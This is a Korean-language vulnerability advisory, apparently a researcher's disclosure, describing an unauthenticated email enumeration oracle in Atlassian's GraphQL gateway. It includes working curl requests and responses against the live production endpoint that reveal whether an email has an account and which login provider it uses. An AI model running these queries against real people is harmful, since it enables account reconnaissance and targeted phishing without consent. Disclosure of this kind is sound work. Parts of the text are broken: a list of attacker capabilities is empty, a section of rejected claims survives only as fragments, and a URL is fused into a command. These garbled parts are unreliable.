
CVE-2026-XXXX: Atlassian GraphQL 이메일 열거 오라클 (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: 관찰 가능한 응답 불일치 — 이메일 열거 오라클
MEDIUM — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Atlassian 중앙 GraphQL 게이트웨이의 loomUnauthenticated_primaryAuthTypeForEmail GraphQL 쿼리는 이메일 주소가 Atlassian에 등록되어 있는지 여부에 따라 서로 다른 응답을 반환하므로, 인증되지 않은 사용자 열거가 가능합니다.
등록된 이메일 → authType(예: workos, password, google) 및 리다이렉트 URI 반환
등록되지 않은 이메일 → 리다이렉트 URI 없이 authType: "none" 반환
인증은 필요하지 않습니다. 쿼리 이름에 "Unauthenticated"가 포함되어 있습니다. 이는 의도적으로 공개된 엔드포인트이지만, 임의의 이메일이 Atlassian 계정을 보유하고 있는지 여부를 누출해서는 안 됩니다.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
응답:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
응답:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos"는 해당 이메일이 WorkOS SSO를 사용함을 확인합니다. authType: "google" 또는 authType: "password"는 인증 방식을 누출합니다. 이를 통해 표적형 피싱이 가능합니다.
인증되지 않은 공격자는 다음을 수행할 수 있습니다:
loomUnauthenticated_primaryAuthTypeForEmail 쿼리는 rate-limiting을 수행하지 않으며 인증 없이도 모든 이메일에 대한 인증 제공자 정보를 반환합니다. 이 엔드포인트는 의도적으로 인증 없이 공개되어 있지만(Loom 가입 흐름용), 이메일에 계정이 있는지 여부와 사용하는 인증 제공자를 누출합니다.
철저한 테스트 결과, 다음 주장은 기각되었습니다:
aaid: "unidentified"를 가짐)ValidationError로 실패)unidentified로 올바르게 식별)Wh4l3X